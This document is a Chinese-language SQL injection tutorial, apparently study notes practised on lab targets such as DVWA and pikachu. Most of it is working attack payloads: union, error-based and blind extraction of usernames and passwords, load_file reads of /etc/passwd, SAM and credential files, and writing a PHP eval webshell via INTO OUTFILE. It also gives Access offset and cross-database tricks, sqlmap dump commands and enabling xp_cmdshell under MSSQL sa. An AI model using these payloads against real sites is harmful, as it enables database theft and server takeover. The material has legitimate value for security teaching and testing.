SQL注入漏洞攻防

  1. SQL注入攻击原理

SQL注入攻击通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,它目前是黑客对数据库进行攻击的最常用手段之一。

  1. SQL注入攻击分类及提交方式

攻击分类及提交方式

注入前的准备与注入漏洞检测

在进行 SQL 注入攻击时,需要利用到从服务器返回的各种出错信息,默认设置是不显示详细错误返回信息的,因此首先要取消 IE 浏览器返回信息设置,以便查看到注入攻击时返回的数据库信息

将浏览器设置选项高级 显示取消友好 HTTP 错误信息

手工检测 SQL 注入点

最常用的 SQL 注入点判断方法,是在网站中寻找如下形式的网页链接。

http://www.*****.com/***.asp?id=xx (ASP 注入)

或者下面的链接。

http://www.*****.com/***.php?id=xx (php 注入)

http://www.*****.com/***.jsp?id=xx (jsp 注入)

http://www.*****.com/***.aspx?id=xx (aspx 注入)

http://www.*****.com/index.asp?id=8&page=99 (有多个参数)

(注:注入的时候确认是 id 参数还page 参数,工具默认只对后面 page 参数注入,所以要对工具进行配置或者手工调换)

http://www.*****.com/index/new/id/8 伪静态

http://www. *****.com/index/new/php-8.html 伪静态

其中的“**”可能是数字,也有可能是字符串

分别被称为整数类型数据和字符型数据

如何判断某个网页链接是否存在 SQL 注入漏洞呢?通常有两种检测方法。

1.“单引号”法

第一种检测 SQL 注入漏洞是否存在的方法是“单引号”法。方法很简单,直接在浏览器地址栏中的网址链接后加上一个单引号,如果页面不能正常显示,浏览器返回一些异常信息, 则说明该链接可能存在注入漏洞。

2. 1=1 和 1=2 法

很多时候检测提交包含引号的链接时,会提示非法字符,或者直接不返回任何信息,但 这并不等于不存在 SQL 注入漏洞。此时可使用经典的“1=1 和 1=2”法进行检测。方法很简 单,就是直接在链接地址后分别加上 and 1=1 和 and 1=2 进行提交,如果返回不同的页面, 那么说明存在 SQL 注入漏洞。

注入分类

数字型注入

注入参数为数字

字符型注入

注意单引号闭合

搜索型注入

%xxx%' or 1=1 #%

SQL 的模糊查询命令 select * from 表名 where 字段名 like ‘%(对应值)%’;

XX型注入

XX') or 1=1#

单引号闭合

由于 SQL 语句拼接方式不同

注入提交方式

ASP

request (全部接受)

request.querystring (接受 get)

request.form (接受 post)

request.cookie(接受 cookie)

PHP:

$_REQUEST(全部接受)

$_GET(接受get)

$_POST (接受 post)

$_COOKIE(接受 cookie)

三种方式注入方法

post

可通过安装火狐浏览器插件(hackbar)或 Burp 工具来完成

get

一般直接通过浏览器地址栏提交

cookie

一般通 Burp 工具来完成,修改cookie,进行一个注入

注意

这是由程序代码自身决定的

一般中间件 waf 防火墙 对get防护最高  其次是post 最后是cookie  

很多人在写注入防御代码时,写了post get的,但是没有过滤cookie的

  1. union及information schema手工注入

union 注入

union 操作符用于合并两个或多个 SQL 语句集合起来,得到联合的查询结果。

确认字段个数

注:union 操作符一般与 order by 语句配合使用

因为查询的字段不能超过主查询的字段,这个时候可以在 SQL 语句后面加 order by 进行排序,通过这个办法可以判断主查询的字段。

例如 若a' order by 4#%之前都没有报错,则三个字段

使用union针对查出来的字段数做一个SQL语句拼接

例如a' union select database(),user(),version()#%

information_schema 注入

information_schema (提纲)数据库是 MySQL 系统自带的数据库。

其中保存着关于 MySQL服务器所维护的所有其他数据库的信息。通过 information_schema 注入,我们可以将整个数据库内容全部窃取出来

先通过之前的union先找出数据库的名称

输入 vince' union select database(),user(),3#%

得到数据库名

获取pikachu数据库的表名

u' union select table_schema ,table_name,3 from information_schema.tables where table_schema='pikachu'#

where table_schema='pikachu'

指定数据库

from information_schema.   tables为 information_schema数据库库中的table表

table_schema ,table_name

为table表中的两个字段

table_schema

存储了数据库名

table_name

存储了表名

由此得到了表名

获取 pikachu 数据库的字段名

k'union select table_name,column_name,3 from information_schema.columns where table_name='users'#%

table_name='users'指定表名为users的表

from information_schema.columns  为 information_schema数据库库中的columns表

table_name,column_name

table_name

存储了表名

column_name

存储了字段名

得到了字段名

最后获取敏感字段值的内容 username uid 等

输入:kobe'union select username ,password,3 from users#%

对密码解密

  1. 基于函数报错手工注入(insert update delete)http Header及Cookie手工注入

基于函数报错注入

常见攻击方法

updataxml注入

载荷注入

insert注入

updata注入

delet注入

extractvalue()注入

技巧思路

在 MYSQL 中使用一些指定的凼数来制造报错,从而从报错信息中获取设定的信息,

常见的select/insert/update/delete 注入都可以使用报错方式来获取信息.

背景条件

后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端

运维人员设置中间件的时候,把错误输出没有屏蔽

程序员写网站代码的时候,没有屏蔽错误信息输出

基于报错的信息获取(三个常用的用来报错的函数)

updatexml():函数是 MYSQL 对 XML 文档数据进行查询和修改的 XPATH 函数

使用频率最高

函数使用UPDATEXML (XML_document, XPath_string, new_value);

三个参数

XML_document

XML_document 是 String 格式,为 XML 文档对象的名称,文中为 Doc

XPath_string

XPath_string (Xpath 格式的字符串) ,如果丌了解 Xpath 语法,可以在网

上查找教程。

new_value

第三个参数:new_value,String 格式,替换查找到的符合条件的数据

extractvalue() :函数也是 MYSQL 对 XML 文档数据进行查询的 XPATH 函数

 floor():MYSQL 中用来取整的函数

实战测试

1、爆数据库版本信息

k' and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) #

前后的1 ,代表替换到查找到的一个数据

concat拼接函数

0x7e

~   十六进制

(SELECT @@version)

查询语句

2、爆数据库当前用户

k' and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)#

3、爆数据库

k' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) #

4、爆表

获取数据库 表名

k'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu')),0)#

但是反馈回的错误表示只能显示一行,所以采用 limit 来一行一行显示

k' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu'limit 0,1)),0)#

更改 limit 后面的数字 limit 0 完成表名遍历

5、爆字段

k' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users'limit 2,1)),0)#

6、爆字段内容

k' and updatexml(1,concat(0x7e,(select password from users limit 0,1)),0)#

结果说明

返回结果为连接参数产生的字符串。如有任何一个参数为 NULL ,则返回值为 NULL。

通过查询@@version,返回版本。然后 CONCAT 将其字符串化。因为 UPDATEXML 第二个参数需要 Xpath 格式的字符串,所以不符合要求,然后报错。

insert注入(注册信息使用函数)

insert 注入,就是前端注册的信息最终会被后台通过 insert 这个操作插入数据库,后台在接受前端的注册数据时没有做防 SQL 注入的处理,导致前端的输入可以直接拼接 SQL到后端的 insert 相关内容中,导致了 insert 注入。

在注册页面填写注册信息的时候抓包并寻找注入点输入payload例如用户名等

基本格式

oldboy'or updatexml(1,concat(0x7e,(命令)),0) or'

or的作用是将后文变成一条语句

实战

1. 爆表名

oldboy'or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0) or'

2. 爆列名

' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where

table_name='users'limit 2,1)),0) or'

3. 爆内容

' or updatexml(1,concat(0x7e,(select password from users limit 0,1)),0) or' 等同

' or updatexml(1,concat(0x7e,(select password from users limit 0,1)),0) or '1'='1''

update注入(用于用户登陆端修改用户信息)

一般登录网站前台或后台更新用户信息的地方,填写用户需要修改相关信息,通过 Burp 抓包在用户名输入相关 payload

' or updatexml(0,concat(0x7e,(database())),0) or'

delet注入(删除相关)

一般应用于前后端发贴、留言、用户等相关删除操作,点击删除按钮时可通过 Brup Suite 抓包,对数据包相关 delete 参数进行注入,注入方法如下:

delete from message where id=56 or updatexml(2,concat(0x7e,(database())),0)

遇到的问题

burp数据包提交报错

选定之后,对其进行url编码

  1. (布尔型、时间型)手工盲注

布尔盲注

在SQL注入过程中,应用界面仅仅返回True(页面)或者False(页面)。无法根据应用程序的返回页面得到需要的数据库信息。可以通过构造逻辑判断(比较大小)来得到需要的信息。

select id,name from product where id=1 and 1=1

 布尔型盲注步骤和语句

1.判断当前数据库名长度与数据库名称

and select length(database())>n //判断数据库名长度

and ascii(substr(database(),m,1))>n //截取数据库名第m个字符并转换成ascii码 判断具体值

2.判断数据库的表长度与表名

and length((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1))>n //判断第一行表名的长度

and ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),m,1))>n //截取第一行表名的第m个字符串转换为ascii值判断具体为多少

3.判断数据库的字段名长度与字段名称

and length((select column_name from information_schema.columns where table_name='users' limit 0,1))>n //判断表名中字段名的长度

adn ascii((substr(select column_name from information_schema.columns where table_name='users' limit 0,1),m,1))>n //截取表中字段的第m字符串转换为ascii值,判断具体值

4.判断字段的内容长度与内容字符串

and length((select user from users limit 0,1)) >1 //判断字符串内容长度

and ascii(substr((select user from users limit 0,1),m,1)) //截取第m个字符串转换为ascii值

时间盲注

在SQL注入过程中,无论注入是否成功,页面完全没有变化。此时只能通过使用数据库的延时函数来判断注入点一般采用响应时间上的差异来判断是否存在SQL注入,即基于时间型的SQL盲注

select id,name from product where id=1 and sleep(2)

基于时间盲注sleep函数

-在mysql下,sleep的语法如下:sleep(seconds)即sleep函数代码执行延迟若干秒

-sleep()函数执行是有条件的,必须保障sql语句执行结果存在数据记录才会停止指定的秒数,如果sql语句查询结果为空,那么sleep函数不会停止

观察以下语句

第一个语句:sleep函数设置查询停留3s, sleep函数本身返回值为0,显示查询时间为3s

第二个语句:语句最后加上and 1=2 形成查询逻辑错误,sleep函数不执行暂停,因此查询时间为0s

 

基于时间盲注if函数

逻辑判断函数if()

if(expr1,expr2,expr3) 如果expr1为真,则if函数执行expr2语句,否则if函数执行expr3语句

-select user from users where uer_id=1 and1=if(ascii(substr(database(),1,1))>1,sleep(5),1);

此处 如果条件ascii(substr(database(),1,1))>1成立则执行sleep(5),否则执行1

基于时间的盲注案例(sqli-lab less-9)

枚举当前数据库名

id =1' and sleep(3) and ascii(substr(database(),m,1))>n --+

枚举当前数据库的表名

id =1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit a,1),m,1))>n and sleep(3) --+

或者利用if函数

id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit a,1),m,1)) >n,sleep(5),1) --+

枚举当前数据库表的字段名

id =1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit a,1),m,1))>n and sleep(3) --+

枚举每个字段对应的数据项内容

id =1' and ascii(substr((select username from security.users limit a,1),m,1))>n and sleep(3) --+

  1. 宽字节及二阶注入

宽字节与二阶注入

宽字节注入

当我们把 php.ini 文件里面的 magic_quotes_gqc 参数设为 ON 时

所有的'(单引号), "(双引号),\(反斜杠)和 null 字符都会被自动加上一个反斜杠进行转义。

还有很多函数有类似的作用如:

addslashes()、mysql_escape_string()、mysql_real_escape_string()等

添加在 get post cookie变量前

为了解决sql注入攻击

另外还有 parse_str()后的变量也受magic_quotes_gpc(魔术符号,对特殊符号转译)的影响。

其中\的十六进制是 %5C ,当我们在单引号前面加上%df 的时候,最终就会变成 運',

如果程序的默认字符集是 GBK 等宽字节字符集,则 MYSQL 用 GBK 的编码时,

会认为 %df 是 一个宽字符,

也就是運,也就是说:%df\’ = %df%5c%27=縗’,有了单引号就好注入了。

' =======>\'单引号转义后占两个字节,所以我们需要通过繁体字%df 构造两个字节,

最终用運干掉了\,

也就是说被運占领了\ 所以最后在页面也不会显示出来.

**简单来说就是用汉字代替了\,不会再去转译单引号**

注意

数字和字母占一个字节,汉字占两个字节。

没有魔术引号的保护地方

(1) $_SERVER 变量

 PHP5 的$_SERVER 变量缺少 magic_quotes_gqc 的保护,导致近年来 X-Forwarded-For的漏洞猛爆,所以很多程序员考虑过滤 X-Forwarded-For

(2)getenv()得到的变量(使用类似$_SERVER 变量)

(3)$HTTP_RAW_POST_DATA 与 PHP 输入、输出流

二阶注入

多存在于注册 搜索

在注册名或者搜索中添加单引号等

  1. Mysql+ PHP手工获取webshel过程

一、使用 order by 查询字段

user id 输入’ order by 3+–+的时候,后端 SQL 查询语句如下:

Mysql>select first_name,last_name from user where user_id=”order by 3+–+’

因为不存在第三列会产生报错

user id 输入’order by 2+–+的时候,后端查询语句如下

Mysql>select first_name,last_name from user where user_id=”order by 2+–+’

两个减号等于# 一个注释

二、使用联合查询来查询当前数据库、用户、版本信息等

继续构造 union select 语句,来查询正在使用中的用户 user()、数据库 database()、数据库版本 version()、服务器操作系统@@version_compile_os,用以下语句

1‘union select user(),database()+–-+

得到数据库名 用户名

‘union select session_user(),current_user()+–+

‘union select 1,version()+–-+ 查询数据库的版本。

三、获取表名、字段、值

查询 information_schema 数据库名下的表名 tables 的信息

条件:

table_schema=0x64767761 数据名为 dvwa

information_schema.tables :information_schema 数据库名下表名 tables 记录所有数据库名下的所有表名信息的表

http://192.168.1.55:8080/dvwa/vulnerabilities/sqli/?id=1' UNION SELECT1,group_concat(table_name) from information_schema.tables where table_schema=0x64767761+--+&Submit=Submit

0x64767761为DVWA16进制

查询表名 users 下的所有列名信息(注:information_schema.columns 是记录所有数据库名下的所有列名信息的表)

http://192.168.1.55:8080/dvwa/vulnerabilities/sqli/?id=1' UNION SELECT 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273+--+&Submit=Submit

查询列名 user、password 下的所有用户名和密码

http://192.168.1.18:8080/dvwa/vulnerabilities/sqli/?id=1' UNION SELECT user,password from users+--+&Submit=Submit

四、Mysql root 用户密码存储位置

数据库最高权限用户是 root 密码保存在 mysql 数据库的 user 表中,密码是采用 mysql5 特有的加密,通过 cmd5 网站进行解密或通过 cain 等这类专业软件可以对 mysql hash 破解.所以对数据库做安全的时候无论如何不能给网站 root 权限,一定要给一个普通用户权限。

为了安全不要使用root权限,自己新建一个账号,配置一个权限

五、对服务器文件进行读写操作

使用 into outfile 需要有以下条件

1、需要知道远程目录(有可能是默认路径)

2、需要远程目录有写权限

3、需要数据库开启 secure_file_priv

数据库如何开启 secure_file_priv

在 mysql 安装目录的 my.ini 文件中的[mysqld]添加 secure_file_priv = ' ';

然后以 管理员身份运行 cmd,进入 mysql/bin 停止 mysql 服务 net stop mysql,重新启动 mysql 服务 net start mysql,

登入 mysql mysql -u root -p enter password: password,执行命令 show variables like '%secure%';查看 secure_file_priv 的值(这里已经将secure_file_priv 的值设为空,但正常显示为 NULL 和文件路径)

使用联合查询语句构造,利用注入读取/ect/passwd 文件(linux 系统)

‘UNION SELECT 1, load_file(/etc/passwd) +–+

使用联合查询语句构造,利用注入读取 c:\1.txt (Windows 系统)

‘ UNION SELECT 1, load_file(‘c:\\1.txt’) +–+ 或者

注: “\”(编程里面"\"转义)

‘ union select 1, load_file(‘c:/1.txt’) +–+

实战

http://192.168.1.55:8080/dvwa/vulnerabilities/sqli/?id=1%27%20union%20select%201,load_file('c:\\boot.ini')+--+&Submit=Submit( 想读取boot.ini这个文件)

如果出现以下情况

Query Errot:SELECT CID,TITLE FROM CMS_CONTENTINDEX WHERE TID=25950\’AND 1=2 UNION SELECT LOAD_FILE(’C:\\BOOT.INI\’),2

在“php.ini"配置文件中 magic_quotes_gpc 为 on 或在接受参数的时候用了addslashes()涵数,单引号就会被自动转义成\',因此函数未能正确执行功能.要绕开此过滤,可将 c:\boot.ini 转换成十六进制,转换后为:0x633A5C5C626F6F742E696E69.再提交如下链接。

http://192.168.1.55:8080/dvwa/vulnerabilities/sqli/?id=1%27%20union%20select%201,load_file(0x633A5C5C626F6F742E696E69)+--+&Submit=Submit

或 http://192.168.1.55:8080/dvwa/vulnerabilities/sqli/?id=1 and 1=2 union select 1,load_file(0x633A5C5C626F6F742E696E69)+--+&Submit=Submit

对服务器进行写操作

http://192.168.1.55:8080/dvwa/vulnerabilities/sqli/?id=1%27%20union%20select%20'568311803',2 into outfile 'c:/muma.txt'+--+&Submit=Submit

http://192.168.1.55:8080/dvwa/vulnerabilities/sqli/?id=1%27%20union%20select%200x3C3F70687020406576616C28245F504F53545B2763686F70706572275D293B3F3E,2 into outfile 'c:/muma.txt'+--+&Submit=Submit

为什么要把一句话木马转化为十六进制,因为一句话木马里面也有单引号,再用单引号引起来会容易造成混淆。所以得出结论:如果用编码就不要用单引号,用单引号就不要用编 码

x3C3F70687020406576616C28245F504F53545B2763686F70706572275D293B3F3E

是菜刀的一句话

向服务器指定位置写入木马

六、怎么获取 Web 路径

不管是 root 权限还是普通用户权限要对服务器进行读写我们需要网站路径才能得到webshell

(1)一般可以在变量后面加上单引号、改变参数类型(字符型数字型)、增加参数位数等来造成 MySQL 数据库出错,爆出 Web 物理路径。

(2)通过扫描器扫 web 服务器遗留文件 php.php、info.php、phpinfo.php、test.php

(3)利用搜索引擎来查找 Web 目录。搜索引擎有时候会对网站页面进行快照抓取,包括脚本出错页面,因此可利用搜索引擎查找网站的出错信息,从而获得网站的物理路径。可在 Google 或 百度 中搜索 “ mysql site:***.com”或“warning site:***.com,error site:***.com.cn”等。这里使用“error site:***.com”关键字进行查询,从搜索结果中得到了网站的物理路径为“E:\pujing2015”。

(4) 漏洞暴路径,例如通过网站后台查看网站 Web 路径(需要root账号密码)、CC 攻击暴路径等.

(5)通过(iss apache等中间件)配置文件找网站路径

在百度里面输入***配置文件,如:IIS6.0 配置文件,可以找到: C:\\WINDOWS\\system32\\inetsrv\\MetaBase.xml 和 C:\WINDOWS\system32\inetsrv\MetaBase.bin 这两个配置文件(小技巧:在百度里面输入:load_file()常用敏感信息,就可以找到别人入侵过程中总结的常用敏感文件路径)

http://192.168.1.55:8080/dvwa/vulnerabilities/sqli/?id=1%27%20union%20select%201,load_file(C:\\WINDOWS\\system32\\inetsrv\\MetaBase.xml)+--+&Submit=Submit

文件路径转换成16位

右键查看源代码

七、利用 sql 注入写入 webshell

假设我们通过 phpinfo 文件知道了网站的物理路径,接下来我们通过使用 union select 语句来写入 webshell.写入需要你有写入权限等。

‘ union select 1,’‘ INTO OUTFILE ‘/var/www/dvwa/cmd.php’ +–+

//这种 反斜找扛/本地没测试,大家测试一下,推见大家用两个反\\方法

例如: http://192.168.0.105:8080/dvwa/vulnerabilities/sqli/?id=1' union select "<?php @eval($_POST['chopper']);?>",2 into outfile"c:\\php\\htdocs\\dvwa\\123.php"+--+&Submit=Submit

将一句话木马写到这个目录下,通过中国菜刀进行服务器连接

八、MysQL 获取 web 路径方法总结

在 MySQL 注入中,利用 load_file()函数读取网页文件源代码时,首先需要获得网站的Web 路径。网站 Web 路径可以通过以下几种方法获得。

1、直接在出错信息中显示 Web 路径

在注入点处加单引号,或者修改提交变量类型,让查询语句出错,从出错信息中往往可以爆出网站 Web 物理路径

2、load_file(char(47))列出 freebsd 目录

由于 load_file()函数相当于 Linux 系统中的 cat()函数,在某些 FreeBSD、Sunos 系统用“cat/”命令可以列出根目录。字符“/”的 ASCII 码是 47,在 MySQL 注入中,可利用load_file(char(47))直接列出 FreeBSD 等*inux 系统的文件夹目录。

3、"/etc/passwd”文件中的工作目录

从中可看到系统中有 apache 用户,其工作目录为“/var/www/ "有些网站会写上具体路径 o 而且网站用户名有的就是对应/etc/passwd 里面的用户或文件夹名等等。

4、读取 apache 的配置文件“httpd.conf”,获取 Web 路径

PHP 网站程序通常都是通过 apache 提供服务的,apache 的配置文件“httpd.conf"中包含了网站物理路径,可通过读取该文件获得 Web 路径。

在*nix 系统中,可以利用 laod_file()尝试读取以下路径查看"apache”配置文件。

/etc/init.d/apache

/etc/init.d/apache2

/etc/httpd/httpd.conf

/etc/apache/apache.conf

/etc/apache/httpd.conf

/etc/apache2/apache2.conf

/etc/apache2/httpd.conf

/usr/local/apache2/conf/httpd.conf

/usr/local/apache/conf/httpd.conf

/opt/apache/conf/httpd.conf

/home/apache/httpd.conf

/home/apache/conf/httpd.conf

/etc/apache2/sites-available/default

在 Windows 系统中,可以尝试读取以下路径查看 apache 配置文件。

C:\Program Files\Apache Group\Apache\conf\httpd.conf

C:\Program Files\Apache Group\Apache2\conf\httpd.conf

C:\Program Files\Apache Software Foundation\Apache2.2\conf\httpd.conf

C:\apache\confthttpd.conf

也可以将换盘符 C 换为 D, E, F 等进行尝试。

5、利用 load_file()读取各种配置文件

在 MySQL 注入中,load_file()函数除了用于读取网页脚本程序源代码外,还可以用来读取其他各种敏感的配置文件,方便获得 WebShell 或进行提权。

(1)load_file()读取服务器配置文件

在前面讲解了利用 load_file()函数读取“apache"配置文件,从而获得 Web 物理路径的方法。此外,还可利用此函数读取网站中的其他重要的配置文件,获得更多敏感的信息。

/user/local/app/apache2/conf/extra/http-vhosts.conf //虚拟网站设置

/user/local/app/php5/lib/php.ini //php 相关设置

/etc/sysconfig/iptables //防火墙规则策略

/etc/rsyncd.conf //同步程序配置

/etc/sysconfig/network-script/ifcfg-eth0 //查看 IP

/etc/my.cnf //Mysql 的配置文件

/etc/redhat-release //系統版本

/etc/issue //系統版本

/etc/issue.net //系統版本

/usr/local/resin/conf/resin.conf //查看 Linux 系统配置的 JSP 虚拟主机

/usr/local/resin-pro-3.0.22/conf/resin.conf

/usr/local/resin-3.0.22/conf/resin.conf //查看 RESIN 3.0.22 配置文件

c:\mysql\data\mysql\user.MYD //存储了“mysql.user”表中的数据库链接密码

c:\program files\rhinosoft.com\serv-u\servudaemon.ini

c:\program files\serv-u\servudaemon.ini //FTP 软件配置文件,存储虚拟主机网站路径和密码

c:\program files\mysql\my.ini

c:\windows\my.ini //Mysql 配置文件

c:\windows\system32\inetsrv\metabase.xml //IIS 配置文件

c:\resin\conf\resin.conf

c:\resin-3.0.14\conf\resin.conf //查看 JSP 网站“resin”文件配置信息

(2)load_file()读取二进制文件

除了读取文本类型的文件外,load_file()还可以用来读取系统中的二进制文件,例如各种密码存储配置文件。

c:\windows\repair\sam //windows 系统初次安装时的密码

c:\program files\serv-u\servuadmin.exe //serv-U 6.0 及之前版本的管理员密码文件

c:\program files\rhinosoft.com\servudaemo.exe

c:\documents and setting\all users\application data\symantec\pcanywhere\*.cif

//pcanywhere 登陆密码文件

只要 MySQL 注入点处的账号权限足够,那么 loadee_file()函数就可以读取任何文件。

但是需要注意的是,由于浏览器编码不能完全显示二进制编码文件,因此需要使用 hex()函数将 load_file()函数读出的二进制文件转为十六进制显示在网页上。再将网页中显示的十六进制代码复制到本地后,通过转换成二进制文件,才能加以利用。

(3)load_file()函数读取文件时不可忽略的问题

读取网页源代码时在网页中未能正常显示一些代码内容,这是由于网页源代码中包含一些特殊的字符,如“<”、“>”之类的,因此导致在返回源代码内容时显示为了网页效果,而不是真实的代码内容。因此,除了通过查看源代码外,还可以考虑在返回代码时替换一些特殊字符,从而令网页中正常显示源文件代码内容。

可在 load_file()函数使用时调用如下形式。replace(load_file(char(文件路径十六进制代码)),char(60),char(32))

这句代码的意思是,将返回文件内容中的“<”替换成空格,这样就可以屏蔽网页效果,从而查看到真实的网页内容了

例如

http://192.168.1.55:8080/dvwa/vulnerabilities/sqli/?id=1'%20union%20select replace(load_file(0x633A5C5C7068705C5C6874646F63735C5C647677615C5C696E6465782E706870),char(60),char(32)),2+--+&Submit=Submit

  1. Access手工注入

ACCESS手工注入(上)

Access数据库一般用于流量小的小企业搭建网站,搭建方便,维护简单

理论基础

爆出数据库类型(需要低版本IE浏览器)

内置变量爆数据库类型

SQL Server 有一些系统变量和系统表,如果服务器 IIS 提示没关闭,并且 SQL Server返回错误提示的话,可以直接从出错信息中获取判断数据库的类型(后面会给大家讲解如何突破 IIS 提示被关闭)。

“User”是 SQL Server 的一个内置变量,它的值是当前连接的用户名,其变量类型为“nvarchar"字符型。通过提交查询该变量,根据返回的出错信息即可得知数据库类型。方法是在注入点之后提交如下语句。

and user>0

该查询语句会将 user 对应的 nvarchar 型值与 int 数字型的 0 进行对比,两个数据类型不一致,因此会返回出错信息

如果提示如下出错信息

Microsoft OLE DB Provider for SQL Server 错误'80040e21'

/home/yz/yu/show.asp

将 nvarchar 值'****'转换为数据类型为 int 的列时发生语法错误。

Microsoft OLE DB Provider Drivers ODBC Drivers 错误 ‘80040e21’

ODBC 驱动程序不支持所需的属性。

/news_view.asp,行 20

ASPX 相关 微软的数据库

Access数据库

内置数据表爆数据库类型

如果服务器 IIS 不允许返回错误提示,通常可以通过数据库内置的系统数据表来进行判断。在注入点后提交如下查询语句。

and (select count(*) from sysobjects)>=0

Access 存在系统表[msysobjects],不存在“sysobjects”表。因此如果数据库采用的是 Access,会返回如下提示错误信息

Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e37'

/home/yz/yu/show.asp, 行 8

[Microsoft][ODBC Microsoft Access Driver] Microsoft Jet 数据库引擎找不到输入表或查询'sysobjects'。确定它是否存在,以及它的名称的拼写是否正确。

and (select count(*) from msysobjects)>=0

在 MS SQL Serve:存在系统表[sysobjects],不存在[msysobjects]系统表,因此会返回如下错误提示信息为

Microsoft OLE DB Provider for SQL Server 错误 '80040e37'

对象名 'msysobjects' 无效。

/home/yz/yu/show.asp, 行 8

猜数据库名

可在注入点后提交如下语句进行查询。

and exists(select * from 数据库表名 )或者

and (select count(*) from 数据库表名 )>=0

上面的语句是判断数据库中是否存在指定数据库表名。如果页面返回出错,那么可更换其他常见数据库表名继续进行查询。

猜字段名及字段长度

可在注入点后提交如下语句查询。

and exists(select 字段名 from 数据库表名 )或者

and (select count(字段名) from 数据库表名 )>=0

如果存在此字段名,返回页面正常,否则可更换字段名继续进行猜测。

猜解字段长度,可提交如下查询语句。

and (select top 1 len(字段名) from 数据库表名 )>2

and (select top 1 len(字段名) from 数据库表名 )>n-1

and (select top 1 len(字段名) from 数据库表名 )>n

当提交>n-1 时正常,而提交到>n 时返回出错,那么说明字段长度为 n,

猜字段值

猜字段的 ascii 值,可在注入点后提交如下查询语句

and (select top 1 asc(mid(字段名,1,1)) from 数据库表名 )>0

and (select top 1 asc(mid(字段名,1,1)) from 数据库表名 )>1 „

and (select top 1 asc(mid(字段名,1,1)) from 数据库表名 )>n-1

and (select top 1 asc(mid(字段名,1,1)) from 数据库表名 )>n

这个表中这个字段中第一行第一个的字段的asc码

当提交>n-I 时正常,而提交到>n 时返回出错,那么说明字段值的 ASCII 码为 n。反查

ASCII 码对应的字符,就可得到字段值的第一位字符。再继续提交如下查询( ASCII 值大于 0 ,字段值应该为字母,如果是小于 0 那么说明是汉字)

and (select top 1 asc(mid(字段名,2,1)) from 数据库表名 )>0

用与上面相同的方法,可得到第二位字符。再继续进行查询,直接猜解出字段的所有字符值为止。

用与上面相同的方法,可得到第二位字符。再继续进行查询,直接猜解出字段的所有字符值为止

注意

access 数据库都是存放在网站目录下(后缀格式为 mdb,asp,asa),遇到使用Access数据库时,有很多工具是针对默认的指定数据库路径进行扫描通过 一些暴库手段、目录猜解等直接下载数据库

Access打开直接是表

采用的方法都是暴力破解

不像mysql等可以利用丰富得内置资源进行测试

如果是 MSSQL、MYSQL 等,一般数据库是存储 在数据库安装路径下,后缀格式为 myi,myd,frm,mdf 不能通过下载得到库除非对方管理员把网站库备份在网站目录下。

  1. Access手工偏移注入

ACCESS手工偏移注入

偏移注入是针对 Access 数据库,当我们注入猜到数据库表名确猜不到列名的情况下,这种方法就可以帮我们填补

例如: http://192.168.1.106:901/news_view.asp?id=14 UNION SELECT 1,2,3,4,5,6,7 from administrator 当我们把把 username 或 password 代入 2、3 查询不到的时候,就可以使用下面方法

http://192.168.1.106:901/news_view.asp?id=14 UNION SELECT 1,2,3,4,* from administrator 分别用*号代替数字,直到返回正常页面。

发现在 4 的时候页面返回正常,接着我们用 7-4=3(代表 administrator 有 3 个字段)再接着用 3*2+1=7 来构造第三步注入语句

第三步: http://192.168.1.106:901/news_view.asp?id=14 UNION SELECT 1, a.id,b.id, * from(administrator as a inner join administrator as b on a.id=b.id) 注:a.id ,b.id 每个占三个字段,就是上面 3*2

 去掉a.id,b.id,可能爆出用户名

第四步: 如果用户名和密码没暴出来,并且字段数多的情况下(例如:10 个字段,那就是3*3+1=10 ) , 那 么 通 过 下 例 语 句 还 可 以 接 着 暴 用 户 名 和 密码

http://192.168.1.106:901/news_view.asp?id=14 UNION SELECT 1,a.id,b.id,c.id,* from ((admin

  1. Access手工跨库查询

ACCESS手工跨库查询

假设 a 和 b 两个站点在同一服务器上面,但服务器上面安装了安全狗、Waf 这样的安全软件,现在我们要对 a 站点进行攻击,但是没发现什么大漏洞,只找到网站数据库路径,对数据库下载发现下载不了。这个时候我发现 b 站 点 有注入点

http://192.168.1.106:901/news_view.asp?id=14

UNION SELECT 1,adminpassword,username,4,5,6,7 from [C:\wwwtest\2AspCMS\AspCms_data\data.asp].Aspcms_Admins

在2,3,把另外一个数据库的字段名写进去,末尾是表名

  1. Cookie中转及工具注入

Cookie中转及工具注入

通过注入中转器工具cookie注入

填写信息 进行生成页面 通过get方法实现cookices 注入

只针对asp

最后访问生成出来的 jmcook.asp 文件,记得文件后面接上工具 POST 提交值这栏的参数,

最终打开的地址为:http://localhost:4086/jmCook.asp?jmdcw=58

穿山甲如何cookie注入

选定cookie类型即可

通过 sqlmap 来实现 cookie 注入

D:\VStart50\tools\注入检测\sqlmap>sqlmap.py -u "http://172.16.24.188/productshow.asp" --cookie "id=58" --level 2(level默认1)

末尾加--tables可以查看有哪些表

加--columns -T +表名查看字段

 --dump -C "username,password" -T admin

脱库

补充

如果post注入

D:\VStart50\tools\注入检测\sqlmap>sqlmap.py -u "http://172.16.24.188/productshow.asp" --data "id=58"

get 注入

D:\VStart50\tools\注入检测\sqlmap>sqlmap.py -u"http://172.16.24.188/productshow.asp id=58"

  1. MSSQL SA权限手工获取webshell过程

sa权限获取webshell思路

   1.通过SQL查询分析器通过sa权限首先恢复xp_cmdshell存储过程。

   2.通过SQL Tools2.0连接数据库,执行命令,查看网站路径以及磁盘文件,获取网站的真实路径。

   3.echo生成一句话后门。

   4.直接获取webshell权限。

